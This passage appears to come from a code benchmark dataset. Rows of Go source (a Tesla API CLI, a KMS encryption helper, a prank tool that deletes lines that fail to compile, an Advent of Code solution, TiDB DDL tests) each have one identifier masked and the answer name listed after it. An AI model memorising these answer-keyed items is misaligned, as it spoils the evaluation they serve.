&tesla.Auth{ ClientID: os.Getenv(""TESLA_CLIENT_ID""), ClientSecret: os.Getenv(""TESLA_CLIENT_SECRET""), Email: os.Getenv(""TESLA_USERNAME""), Password: os.Getenv(""TESLA_PASSWORD""), }) if err != nil { panic(err) } vehicles, err := client.Vehicles() if err != nil { panic(err) } vehicle := vehicles[0] status, err := vehicle.MobileEnabled() if err != nil { panic(err) } fmt.Println(status) return nil } // start the cliApp cliApp.Run(os.Args) } ",timeStmp 405,"// Copyright 2018 OVO Technology // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package crypt import ( ""crypto/aes"" ""crypto/cipher"" ""crypto/rand"" ""fmt"" ""io"" ""os"" ""strings"" flags ""github.com/jessevdk/go-flags"" ) // KmsProvider type type KmsProvider interface { crypto(payload []byte, projectid, locationid, keyringid, cryptokeyid, keyname string, encrypt bool) (resultText []byte, err error) encryptedDekLength() int } //Defaults type defining input flags type Defaults struct { CryptoKeyID string `short:""c"" long:""cryptokeyId"" description:""Google KMS crytoKeyId"" required:""false""` KeyRingID string `short:""k"" long:""keyringId"" description:""Google KMS keyRingId"" required:""false""` KeyName string `short:""n"" long:""keyName"" description:""Google KMS keyName or AWS KMS keyId"" required:""false""` LocationID string `short:""l"" long:""locationId"" description:""Google KMS locationId"" required:""false""` ProjectID string `short:""p"" long:""projectId"" description:""Google projectId"" required:""false""` KMSProvider string `short:""m"" long:""kmsProvider"" description:""KMS provider"" required:""false""` } var ( defaultOptions = Defaults{} //Parser is a new Parser with default options Parser = flags.NewParser(&defaultOptions, flags.Default) kmsProviders = map[string]KmsProvider{ ""AWS"": AwsKms{}, ""GCP"": GcpKms{}, } ) const ( nonceLength = 12 dekLength = 32 ) func getKmsProvider(provider string) (kmsProvider KmsProvider, err error) { if provider == """" { return GcpKms{}, nil } kmsProvider, ok := kmsProviders[strings.ToUpper(provider)] if !ok { err = fmt.Errorf(""KMS Provider %v not supported"", provider) } return } //check panics if error is not nil func check(e error) { if e != nil { panic(e.Error()) } } //byteSliceToString converts a byte slice to a string, and returns it func byteSliceToString(dat []byte) (resultString string) { resultString = fmt.Sprint(string(dat[:])) return } //randByteSlice creates and returns a random byte slice, of desired size func randByteSlice(size int) (bytes []byte) { bytes = make([]byte, size) _, err := io.ReadFull(rand.Reader, bytes) check(err) return } //secureDelete zerofills the desired file, and removes it func secureDelete(filepath string, stdOut bool) (err error) { zerofill(filepath, stdOut) deleteFile(filepath) return } //zerofill zerofills the desired file func zerofill(filepath string, stdOut bool) (err error) { fi, err := os.Stat(filepath) check(err) switch mode := fi.Mode(); { case mode.IsDir(): if !stdOut { fmt.Printf(""%s\n"", ""Didn't zerofill/delete unencrypted file \""""+ filepath+""\"" as it's not a file"") } case mode.IsRegular(): file, err := os.OpenFile(filepath, os.O_RDWR, 0666) check(err) defer file.Close() [MASK] , err := file.Stat() check(err) zeroBytes := make([]byte, [MASK] .Size()) n, err := file.Write(zeroBytes) check(err) if !stdOut { fmt.Printf(""Wiped %v bytes from %s.\n"", n, filepath) } } return } //delete file removes the file func deleteFile(filepath string) (err error) { err = os.Remove(filepath) check(err) return } //cipherblock creates and returns a new aes cipher.Block func cipherblock(dek []byte) (cipherblock cipher.Block) { cipherblock, err := aes.NewCipher(dek) check(err) return } //cipherText seals or opens the text func cipherText(text []byte, cipherblock cipher.Block, nonce []byte, seal bool) (ciphertext []byte) { aesgcm, err := cipher.NewGCM(cipherblock) check(err) var errm error if seal { ciphertext = aesgcm.Seal(nil, nonce, text, nil) } else { ciphertext, errm = aesgcm.Open(nil, nonce, text, nil) } check(errm) return } ",fileInfo 406,"package main import ( ""bufio"" ""bytes"" ""fmt"" ""io"" ""os"" ""os/exec"" ""strconv"" ""strings"" ""time"" // ""github.com/pkg/errors"" ) const maxCalls = 100 var pgMode bool func init() { // pg test if os.Args[0] == ""goofy"" { pgMode = true } } func main() { var calls int go func() { for { if calls > 100 { fmt.Fprintln(os.Stderr, ""May never build..."") fmt.Fprintln(os.Stderr, `¯\_(ツ)_/¯`) os.Exit(1) } time.Sleep(time.Second) } }() buffer := bytes.NewBuffer(nil) var fuck func() fuck = func() { calls = calls + 1 cmd := exec.Command(""go"", os.Args[1:]...) cmd.Stderr = buffer cmd.Stdout = os.Stdout scanner := bufio.NewScanner(buffer) err := cmd.Run() if err != nil { defer fuck() } linesRemoved := 0 for scanner.Scan() { b := scanner.Bytes() file, lineN, err := parseFileLine(b) if err != nil { fmt.Fprintln(os.Stderr, err) continue } if lineN < 1 { continue } line, err := Delete(file, lineN-linesRemoved) if err != nil { fmt.Fprintln(os.Stderr, err) } else { linesRemoved = linesRemoved + 1 if pgMode { fmt.Fprintf(os.Stderr, ""Lets just not do this: `%s`\n"", strings.TrimSpace(line)) } else { fmt.Fprintf(os.Stderr, ""FUCK: `%s`\n"", strings.TrimSpace(line)) } } } buffer.Reset() } fuck() fmt.Fprintln(os.Stderr, ""You are now a go developer"") } func parseFileLine(goOut []byte) (string, int, error) { [MASK] := bytes.Split(goOut, []byte{':'}) if len( [MASK] ) < 2 { return """", 0, nil } file := string( [MASK] [0]) lineN, err := strconv.Atoi(string( [MASK] [1])) if err != nil { return """", 0, errors.Wrap(err, ""cannot convert line number to int"") } return file, lineN, nil } // Delete removes one line from a file by path and returns the line removed func Delete(path string, line int) (string, error) { f, err := os.Open(path) if err != nil { return """", errors.Wrap(err, ""cannot open file to remove line"") } scanner := bufio.NewScanner(f) buffer := bytes.NewBuffer(nil) for i := 1; i < line; i++ { scanner.Scan() _, err = buffer.Write(append(scanner.Bytes(), byte('\n'))) if err != nil { return """", errors.Wrap(err, ""cannot write to buffer"") } } // DO IT scanner.Scan() fuck := scanner.Text() // SEE YA for scanner.Scan() { _, err = buffer.Write(append(scanner.Bytes(), byte('\n'))) if err != nil { return """", errors.Wrap(err, ""cannot write to buffer"") } } err = f.Close() if err != nil { return """", errors.Wrap(err, ""cannot close old file"") } // LETS DO IT f, err = os.Create(path) if err != nil { return """", errors.Wrap(err, ""cannot overwrite old file with new file"") } _, err = io.Copy(f, buffer) if err != nil { return """", errors.Wrap(err, ""cannot write to new file"") } return fuck, nil } ",fileLine 407,"package main import ( ""fmt"" ""math"" ""strconv"" ) var steps = []string{""R2"", ""L5"", ""L4"", ""L5"", ""R4"", ""R1"", ""L4"", ""R5"", ""R3"", ""R1"", ""L1"", ""L1"", ""R4"", ""L4"", ""L1"", ""R4"", ""L4"", ""R4"", ""L3"", ""R5"", ""R4"", ""R1"", ""R3"", ""L1"", ""L1"", ""R1"", ""L2"", ""R5"", ""L4"", ""L3"", ""R1"", ""L2"", ""L2"", ""R192"", ""L3"", ""R5"", ""R48"", ""R5"", ""L2"", ""R76"", ""R4"", ""R2"", ""R1"", ""L1"", ""L5"", ""L1"", ""R185"", ""L5"", ""L1"", ""R5"", ""L4"", ""R1"", ""R3"", ""L4"", ""L3"", ""R1"", ""L5"", ""R4"", ""L4"", ""R4"", ""R5"", ""L3"", ""L1"", ""L2"", ""L4"", ""L3"", ""L4"", ""R2"", ""R2"", ""L3"", ""L5"", ""R2"", ""R5"", ""L1"", ""R1"", ""L3"", ""L5"", ""L3"", ""R4"", ""L4"", ""R3"", ""L1"", ""R5"", ""L3"", ""R2"", ""R4"", ""R2"", ""L1"", ""R3"", ""L1"", ""L3"", ""L5"", ""R4"", ""R5"", ""R2"", ""R2"", ""L5"", ""L3"", ""L1"", ""L1"", ""L5"", ""L2"", ""L3"", ""R3"", ""R3"", ""L3"", ""L4"", ""L5"", ""R2"", ""L1"", ""R1"", ""R3"", ""R4"", ""L2"", ""R1"", ""L1"", ""R3"", ""R3"", ""L4"", ""L2"", ""R5"", ""R5"", ""L1"", ""R4"", ""L5"", ""L5"", ""R1"", ""L5"", ""R4"", ""R2"", ""L1"", ""L4"", ""R1"", ""L1"", ""L1"", ""L5"", ""R3"", ""R4"", ""L2"", ""R1"", ""R2"", ""R1"", ""R1"", ""R3"", ""L5"", ""R1"", ""R4""} func main() { orientation := 0 x := 0 y := 0 var [MASK] int for _, step := range steps { //fmt.Println(string(step[1:])) [MASK] , _ = strconv.Atoi(string(step[1:])) if string(step[0]) == ""R"" { orientation = (orientation + 1 + 4) % 4 } else { orientation = (orientation - 1 + 4) % 4 } switch orientation { case 0: y += [MASK] case 1: x += [MASK] case 2: y -= [MASK] case 3: x -= [MASK] } } fmt.Println(x, y, math.Abs(float64(x))+math.Abs(float64(y))) } ",length 408,"// Copyright 2018 PingCAP, Inc. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // See the License for the specific language governing permissions and // limitations under the License. package ddl_test import ( ""context"" ""fmt"" ""strings"" ""sync/atomic"" ""time"" . ""github.com/pingcap/check"" ""github.com/pingcap/errors"" ""github.com/pingcap/parser/ast"" ""github.com/pingcap/parser/charset"" ""github.com/pingcap/parser/model"" ""github.com/pingcap/parser/mysql"" tmysql ""github.com/pingcap/parser/mysql"" ""github.com/pingcap/parser/terror"" ""github.com/pingcap/tidb/config"" ""github.com/pingcap/tidb/ddl"" ""github.com/pingcap/tidb/domain"" ""github.com/pingcap/tidb/infoschema"" ""github.com/pingcap/tidb/kv"" ""github.com/pingcap/tidb/meta"" ""github.com/pingcap/tidb/session"" ""github.com/pingcap/tidb/sessionctx"" ""github.com/pingcap/tidb/sessionctx/stmtctx"" ""github.com/pingcap/tidb/store/mockstore"" ""github.com/pingcap/tidb/store/mockstore/mocktikv"" ""github.com/pingcap/tidb/table"" ""github.com/pingcap/tidb/types"" ""github.com/pingcap/tidb/util/israce"" ""github.com/pingcap/tidb/util/mock"" ""github.com/pingcap/tidb/util/testkit"" ""github.com/pingcap/tidb/util/testutil"" ) var _ = Suite(&testIntegrationSuite1{&testIntegrationSuite{}}) var _ = Suite(&testIntegrationSuite2{&testIntegrationSuite{}}) var _ = Suite(&testIntegrationSuite3{&testIntegrationSuite{}}) var _ = Suite(&testIntegrationSuite4{&testIntegrationSuite{}}) var _ = Suite(&testIntegrationSuite5{&testIntegrationSuite{}}) var _ = Suite(&testIntegrationSuite6{&testIntegrationSuite{}}) var _ = Suite(&testIntegrationSuite7{&testIntegrationSuite{}}) var _ = Suite(&testIntegrationSuite8{&testIntegrationSuite{}}) var _ = Suite(&testIntegrationSuite9{&testIntegrationSuite{}}) var _ = Suite(&testIntegrationSuite10{&testIntegrationSuite{}}) var _ = Suite(&testIntegrationSuite11{&testIntegrationSuite{}}) type testIntegrationSuite struct { lease time.Duration cluster *mocktikv.Cluster mvccStore mocktikv.MVCCStore store kv.Storage dom *domain.Domain ctx sessionctx.Context tk *testkit.TestKit } func setupIntegrationSuite(s *testIntegrationSuite, c *C) { var err error s.lease = 50 * time.Millisecond ddl.WaitTimeWhenErrorOccured = 0 s.cluster = mocktikv.NewCluster() mocktikv.BootstrapWithSingleStore(s.cluster) s.mvccStore = mocktikv.MustNewMVCCStore() s.store, err = mockstore.NewMockTikvStore( mockstore.WithCluster(s.cluster), mockstore.WithMVCCStore(s.mvccStore), ) c.Assert(err, IsNil) session.SetSchemaLease(s.lease) session.DisableStats4Test() s.dom, err = session.BootstrapSession(s.store) c.Assert(err, IsNil) se, err := session.CreateSession4Test(s.store) c.Assert(err, IsNil) s.ctx = se.(sessionctx.Context) _, err = se.Execute(context.Background(), ""create database test_db"") c.Assert(err, IsNil) s.tk = testkit.NewTestKit(c, s.store) } func tearDownIntegrationSuiteTest(s *testIntegrationSuite, c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") r := tk.MustQuery(""show tables"") for _, tb := range r.Rows() { tableName := tb[0] tk.MustExec(fmt.Sprintf(""drop table %v"", tableName)) } } func tearDownIntegrationSuite(s *testIntegrationSuite, c *C) { s.dom.Close() s.store.Close() } func (s *testIntegrationSuite) SetUpSuite(c *C) { setupIntegrationSuite(s, c) } func (s *testIntegrationSuite) TearDownSuite(c *C) { tearDownIntegrationSuite(s, c) } type testIntegrationSuite1 struct{ *testIntegrationSuite } type testIntegrationSuite2 struct{ *testIntegrationSuite } func (s *testIntegrationSuite2) TearDownTest(c *C) { tearDownIntegrationSuiteTest(s.testIntegrationSuite, c) } type testIntegrationSuite3 struct{ *testIntegrationSuite } type testIntegrationSuite4 struct{ *testIntegrationSuite } type testIntegrationSuite5 struct{ *testIntegrationSuite } type testIntegrationSuite6 struct{ *testIntegrationSuite } type testIntegrationSuite7 struct{ *testIntegrationSuite } type testIntegrationSuite8 struct{ *testIntegrationSuite } type testIntegrationSuite9 struct{ *testIntegrationSuite } type testIntegrationSuite10 struct{ *testIntegrationSuite } type testIntegrationSuite11 struct{ *testIntegrationSuite } func (s *testIntegrationSuite6) TestNoZeroDateMode(c *C) { tk := testkit.NewTestKit(c, s.store) defer tk.MustExec(""set session sql_mode='ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION';"") tk.MustExec(""use test;"") tk.MustExec(""set session sql_mode='STRICT_TRANS_TABLES,NO_ZERO_DATE,NO_ENGINE_SUBSTITUTION';"") tk.MustGetErrCode(""create table test_zero_date(agent_start_time date NOT NULL DEFAULT '0000-00-00')"", mysql.ErrInvalidDefault) tk.MustGetErrCode(""create table test_zero_date(agent_start_time datetime NOT NULL DEFAULT '0000-00-00 00:00:00')"", mysql.ErrInvalidDefault) tk.MustGetErrCode(""create table test_zero_date(agent_start_time timestamp NOT NULL DEFAULT '0000-00-00 00:00:00')"", mysql.ErrInvalidDefault) tk.MustGetErrCode(""create table test_zero_date(a timestamp default '0000-00-00 00');"", mysql.ErrInvalidDefault) tk.MustGetErrCode(""create table test_zero_date(a timestamp default 0);"", mysql.ErrInvalidDefault) } func (s *testIntegrationSuite7) TestInvalidDefault(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""USE test;"") _, err := tk.Exec(""create table t(c1 decimal default 1.7976931348623157E308)"") c.Assert(err, NotNil) c.Assert(terror.ErrorEqual(err, types.ErrInvalidDefault), IsTrue, Commentf(""err %v"", err)) _, err = tk.Exec(""create table t( c1 varchar(2) default 'TiDB');"") c.Assert(err, NotNil) c.Assert(terror.ErrorEqual(err, types.ErrInvalidDefault), IsTrue, Commentf(""err %v"", err)) } // TestKeyWithoutLength for issue #13452 func (s testIntegrationSuite3) TestKeyWithoutLengthCreateTable(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""USE test"") _, err := tk.Exec(""create table t_without_length (a text primary key)"") c.Assert(err, NotNil) c.Assert(err, ErrorMatches, "".*BLOB/TEXT column 'a' used in key specification without a key length"") } // TestInvalidNameWhenCreateTable for issue #3848 func (s *testIntegrationSuite8) TestInvalidNameWhenCreateTable(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""USE test;"") _, err := tk.Exec(""create table t(xxx.t.a bigint)"") c.Assert(err, NotNil) c.Assert(terror.ErrorEqual(err, ddl.ErrWrongDBName), IsTrue, Commentf(""err %v"", err)) _, err = tk.Exec(""create table t(test.tttt.a bigint)"") c.Assert(err, NotNil) c.Assert(terror.ErrorEqual(err, ddl.ErrWrongTableName), IsTrue, Commentf(""err %v"", err)) _, err = tk.Exec(""create table t(t.tttt.a bigint)"") c.Assert(err, NotNil) c.Assert(terror.ErrorEqual(err, ddl.ErrWrongDBName), IsTrue, Commentf(""err %v"", err)) } // TestCreateTableIfNotExists for issue #6879 func (s *testIntegrationSuite3) TestCreateTableIfNotExists(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""USE test;"") tk.MustExec(""create table t1(a bigint)"") tk.MustExec(""create table t(a bigint)"") // Test duplicate create-table with `LIKE` clause tk.MustExec(""create table if not exists t like t1;"") warnings := tk.Se.GetSessionVars().StmtCtx.GetWarnings() c.Assert(len(warnings), GreaterEqual, 1) lastWarn := warnings[len(warnings)-1] c.Assert(terror.ErrorEqual(infoschema.ErrTableExists, lastWarn.Err), IsTrue, Commentf(""err %v"", lastWarn.Err)) c.Assert(lastWarn.Level, Equals, stmtctx.WarnLevelNote) // Test duplicate create-table without `LIKE` clause tk.MustExec(""create table if not exists t(b bigint, c varchar(60));"") warnings = tk.Se.GetSessionVars().StmtCtx.GetWarnings() c.Assert(len(warnings), GreaterEqual, 1) lastWarn = warnings[len(warnings)-1] c.Assert(terror.ErrorEqual(infoschema.ErrTableExists, lastWarn.Err), IsTrue) } // for issue #9910 func (s *testIntegrationSuite2) TestCreateTableWithKeyWord(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""USE test;"") _, err := tk.Exec(""create table t1(pump varchar(20), drainer varchar(20), node_id varchar(20), node_state varchar(20));"") c.Assert(err, IsNil) } func (s *testIntegrationSuite1) TestUniqueKeyNullValue(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""USE test"") tk.MustExec(""create table t(a int primary key, b varchar(255))"") tk.MustExec(""insert into t values(1, NULL)"") tk.MustExec(""insert into t values(2, NULL)"") tk.MustExec(""alter table t add unique index b(b);"") res := tk.MustQuery(""select count(*) from t use index(b);"") res.Check(testkit.Rows(""2"")) tk.MustExec(""admin check table t"") tk.MustExec(""admin check index t b"") } func (s *testIntegrationSuite4) TestEndIncluded(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""USE test"") tk.MustExec(""create table t(a int, b int)"") for i := 0; i < ddl.DefaultTaskHandleCnt+1; i++ { tk.MustExec(""insert into t values(1, 1)"") } tk.MustExec(""alter table t add index b(b);"") tk.MustExec(""admin check index t b"") tk.MustExec(""admin check table t"") } // TestModifyColumnAfterAddIndex Issue 5134 func (s *testIntegrationSuite3) TestModifyColumnAfterAddIndex(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") tk.MustExec(""create table city (city VARCHAR(2) KEY);"") tk.MustExec(""alter table city change column city city varchar(50);"") tk.MustExec(`insert into city values (""abc""), (""abd"");`) } func (s *testIntegrationSuite9) TestIssue2293(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") tk.MustExec(""create table t_issue_2293 (a int)"") tk.MustGetErrCode(""alter table t_issue_2293 add b int not null default 'a'"", tmysql.ErrInvalidDefault) tk.MustExec(""insert into t_issue_2293 value(1)"") tk.MustQuery(""select * from t_issue_2293"").Check(testkit.Rows(""1"")) } func (s *testIntegrationSuite2) TestIssue6101(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") tk.MustExec(""create table t1 (quantity decimal(2) unsigned);"") _, err := tk.Exec(""insert into t1 values (500), (-500), (~0), (-1);"") terr := errors.Cause(err).(*terror.Error) c.Assert(terr.Code(), Equals, terror.ErrCode(tmysql.ErrWarnDataOutOfRange)) tk.MustExec(""drop table t1"") tk.MustExec(""set sql_mode=''"") tk.MustExec(""create table t1 (quantity decimal(2) unsigned);"") tk.MustExec(""insert into t1 values (500), (-500), (~0), (-1);"") tk.MustQuery(""select * from t1"").Check(testkit.Rows(""99"", ""0"", ""99"", ""0"")) tk.MustExec(""drop table t1"") } func (s *testIntegrationSuite1) TestIndexLength(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") tk.MustExec(""create table idx_len(a int(0), b timestamp(0), c datetime(0), d time(0), f float(0), g decimal(0))"") tk.MustExec(""create index idx on idx_len(a)"") tk.MustExec(""alter table idx_len add index idxa(a)"") tk.MustExec(""create index idx1 on idx_len(b)"") tk.MustExec(""alter table idx_len add index idxb(b)"") tk.MustExec(""create index idx2 on idx_len(c)"") tk.MustExec(""alter table idx_len add index idxc(c)"") tk.MustExec(""create index idx3 on idx_len(d)"") tk.MustExec(""alter table idx_len add index idxd(d)"") tk.MustExec(""create index idx4 on idx_len(f)"") tk.MustExec(""alter table idx_len add index idxf(f)"") tk.MustExec(""create index idx5 on idx_len(g)"") tk.MustExec(""alter table idx_len add index idxg(g)"") tk.MustExec(""create table idx_len1(a int(0), b timestamp(0), c datetime(0), d time(0), f float(0), g decimal(0), index(a), index(b), index(c), index(d), index(f), index(g))"") } func (s *testIntegrationSuite4) TestIssue3833(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") tk.MustExec(""create table issue3833 (b char(0), c binary(0), d varchar(0))"") tk.MustGetErrCode(""create index idx on issue3833 (b)"", tmysql.ErrWrongKeyColumn) tk.MustGetErrCode(""alter table issue3833 add index idx (b)"", tmysql.ErrWrongKeyColumn) tk.MustGetErrCode(""create table issue3833_2 (b char(0), c binary(0), d varchar(0), index(b))"", tmysql.ErrWrongKeyColumn) tk.MustGetErrCode(""create index idx on issue3833 (c)"", tmysql.ErrWrongKeyColumn) tk.MustGetErrCode(""alter table issue3833 add index idx (c)"", tmysql.ErrWrongKeyColumn) tk.MustGetErrCode(""create table issue3833_2 (b char(0), c binary(0), d varchar(0), index(c))"", tmysql.ErrWrongKeyColumn) tk.MustGetErrCode(""create index idx on issue3833 (d)"", tmysql.ErrWrongKeyColumn) tk.MustGetErrCode(""alter table issue3833 add index idx (d)"", tmysql.ErrWrongKeyColumn) tk.MustGetErrCode(""create table issue3833_2 (b char(0), c binary(0), d varchar(0), index(d))"", tmysql.ErrWrongKeyColumn) } func (s *testIntegrationSuite10) TestIssue2858And2717(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") tk.MustExec(""create table t_issue_2858_bit (a bit(64) default b'0')"") tk.MustExec(""insert into t_issue_2858_bit value ()"") tk.MustExec(`insert into t_issue_2858_bit values (100), ('10'), ('\0')`) tk.MustQuery(""select a+0 from t_issue_2858_bit"").Check(testkit.Rows(""0"", ""100"", ""12592"", ""0"")) tk.MustExec(`alter table t_issue_2858_bit alter column a set default '\0'`) tk.MustExec(""create table t_issue_2858_hex (a int default 0x123)"") tk.MustExec(""insert into t_issue_2858_hex value ()"") tk.MustExec(""insert into t_issue_2858_hex values (123), (0x321)"") tk.MustQuery(""select a from t_issue_2858_hex"").Check(testkit.Rows(""291"", ""123"", ""801"")) tk.MustExec(`alter table t_issue_2858_hex alter column a set default 0x321`) } func (s *testIntegrationSuite1) TestIssue4432(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") tk.MustExec(""create table tx (col bit(10) default 'a')"") tk.MustExec(""insert into tx value ()"") tk.MustQuery(""select * from tx"").Check(testkit.Rows(""\x00a"")) tk.MustExec(""drop table tx"") tk.MustExec(""create table tx (col bit(10) default 0x61)"") tk.MustExec(""insert into tx value ()"") tk.MustQuery(""select * from tx"").Check(testkit.Rows(""\x00a"")) tk.MustExec(""drop table tx"") tk.MustExec(""create table tx (col bit(10) default 97)"") tk.MustExec(""insert into tx value ()"") tk.MustQuery(""select * from tx"").Check(testkit.Rows(""\x00a"")) tk.MustExec(""drop table tx"") tk.MustExec(""create table tx (col bit(10) default 0b1100001)"") tk.MustExec(""insert into tx value ()"") tk.MustQuery(""select * from tx"").Check(testkit.Rows(""\x00a"")) tk.MustExec(""drop table tx"") } func (s *testIntegrationSuite5) TestMySQLErrorCode(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test_db"") // create database sql := ""create database aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"" tk.MustGetErrCode(sql, tmysql.ErrTooLongIdent) sql = ""create database test"" tk.MustGetErrCode(sql, tmysql.ErrDBCreateExists) sql = ""create database test1 character set uft8;"" tk.MustGetErrCode(sql, tmysql.ErrUnknownCharacterSet) sql = ""create database test2 character set gkb;"" tk.MustGetErrCode(sql, tmysql.ErrUnknownCharacterSet) sql = ""create database test3 character set laitn1;"" tk.MustGetErrCode(sql, tmysql.ErrUnknownCharacterSet) // drop database sql = ""drop database db_not_exist"" tk.MustGetErrCode(sql, tmysql.ErrDBDropExists) // create table tk.MustExec(""create table test_error_code_succ (c1 int, c2 int, c3 int, primary key(c3))"") sql = ""create table test_error_code_succ (c1 int, c2 int, c3 int)"" tk.MustGetErrCode(sql, tmysql.ErrTableExists) sql = ""create table test_error_code1 (c1 int, c2 int, c2 int)"" tk.MustGetErrCode(sql, tmysql.ErrDupFieldName) sql = ""create table test_error_code1 (c1 int, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa int)"" tk.MustGetErrCode(sql, tmysql.ErrTooLongIdent) sql = ""create table aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa(a int)"" tk.MustGetErrCode(sql, tmysql.ErrTooLongIdent) sql = ""create table test_error_code1 (c1 int, c2 int, key aa (c1, c2), key aa (c1))"" tk.MustGetErrCode(sql, tmysql.ErrDupKeyName) sql = ""create table test_error_code1 (c1 int, c2 int, c3 int, key(c_not_exist))"" tk.MustGetErrCode(sql, tmysql.ErrKeyColumnDoesNotExits) sql = ""create table test_error_code1 (c1 int, c2 int, c3 int, primary key(c_not_exist))"" tk.MustGetErrCode(sql, tmysql.ErrKeyColumnDoesNotExits) sql = ""create table test_error_code1 (c1 int not null default '')"" tk.MustGetErrCode(sql, tmysql.ErrInvalidDefault) sql = ""CREATE TABLE `t` (`a` double DEFAULT 1.0 DEFAULT 2.0 DEFAULT now());"" tk.MustGetErrCode(sql, tmysql.ErrInvalidDefault) sql = ""CREATE TABLE `t` (`a` double DEFAULT now());"" tk.MustGetErrCode(sql, tmysql.ErrInvalidDefault) sql = ""create table t1(a int) character set uft8;"" tk.MustGetErrCode(sql, tmysql.ErrUnknownCharacterSet) sql = ""create table t1(a int) character set gkb;"" tk.MustGetErrCode(sql, tmysql.ErrUnknownCharacterSet) sql = ""create table t1(a int) character set laitn1;"" tk.MustGetErrCode(sql, tmysql.ErrUnknownCharacterSet) sql = ""create table test_error_code (a int not null ,b int not null,c int not null, d int not null, foreign key (b, c) references product(id));"" tk.MustGetErrCode(sql, tmysql.ErrWrongFkDef) sql = ""create table test_error_code_2;"" tk.MustGetErrCode(sql, tmysql.ErrTableMustHaveColumns) sql = ""create table test_error_code_2 (unique(c1));"" tk.MustGetErrCode(sql, tmysql.ErrTableMustHaveColumns) sql = ""create table test_error_code_2(c1 int, c2 int, c3 int, primary key(c1), primary key(c2));"" tk.MustGetErrCode(sql, tmysql.ErrMultiplePriKey) sql = ""create table test_error_code_3(pt blob ,primary key (pt));"" tk.MustGetErrCode(sql, tmysql.ErrBlobKeyWithoutLength) sql = ""create table test_error_code_3(a text, unique (a(3073)));"" tk.MustGetErrCode(sql, tmysql.ErrTooLongKey) sql = ""create table test_error_code_3(`id` int, key `primary`(`id`));"" tk.MustGetErrCode(sql, tmysql.ErrWrongNameForIndex) sql = ""create table t2(c1.c2 blob default null);"" tk.MustGetErrCode(sql, tmysql.ErrWrongTableName) sql = ""create table t2 (id int default null primary key , age int);"" tk.MustGetErrCode(sql, tmysql.ErrInvalidDefault) sql = ""create table t2 (id int null primary key , age int);"" tk.MustGetErrCode(sql, tmysql.ErrPrimaryCantHaveNull) sql = ""create table t2 (id int default null, age int, primary key(id));"" tk.MustGetErrCode(sql, tmysql.ErrPrimaryCantHaveNull) sql = ""create table t2 (id int null, age int, primary key(id));"" tk.MustGetErrCode(sql, tmysql.ErrPrimaryCantHaveNull) sql = ""create table t2 (id int auto_increment);"" tk.MustGetErrCode(sql, tmysql.ErrWrongAutoKey) sql = ""create table t2 (a datetime(2) default current_timestamp(3))"" tk.MustGetErrCode(sql, tmysql.ErrInvalidDefault) sql = ""create table t2 (a datetime(2) default current_timestamp(2) on update current_timestamp)"" tk.MustGetErrCode(sql, tmysql.ErrInvalidOnUpdate) sql = ""create table t2 (a datetime default current_timestamp on update current_timestamp(2))"" tk.MustGetErrCode(sql, tmysql.ErrInvalidOnUpdate) sql = ""create table t2 (a datetime(2) default current_timestamp(2) on update current_timestamp(3))"" tk.MustGetErrCode(sql, tmysql.ErrInvalidOnUpdate) sql = ""create table t2 (id int primary key , age int);"" tk.MustExec(sql) // add column sql = ""alter table test_error_code_succ add column c1 int"" tk.MustGetErrCode(sql, tmysql.ErrDupFieldName) sql = ""alter table test_error_code_succ add column aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa int"" tk.MustGetErrCode(sql, tmysql.ErrTooLongIdent) sql = ""alter table test_comment comment 'test comment'"" tk.MustGetErrCode(sql, tmysql.ErrNoSuchTable) sql = ""alter table test_error_code_succ add column `a ` int ;"" tk.MustGetErrCode(sql, tmysql.ErrWrongColumnName) tk.MustExec(""create table test_on_update (c1 int, c2 int);"") sql = ""alter table test_on_update add column c3 int on update current_timestamp;"" tk.MustGetErrCode(sql, tmysql.ErrInvalidOnUpdate) sql = ""create table test_on_update_2(c int on update current_timestamp);"" tk.MustGetErrCode(sql, tmysql.ErrInvalidOnUpdate) // drop column sql = ""alter table test_error_code_succ drop c_not_exist"" tk.MustGetErrCode(sql, tmysql.ErrCantDropFieldOrKey) tk.MustExec(""create table test_drop_column (c1 int );"") sql = ""alter table test_drop_column drop column c1;"" tk.MustGetErrCode(sql, tmysql.ErrCantRemoveAllFields) // add index sql = ""alter table test_error_code_succ add index idx (c_not_exist)"" 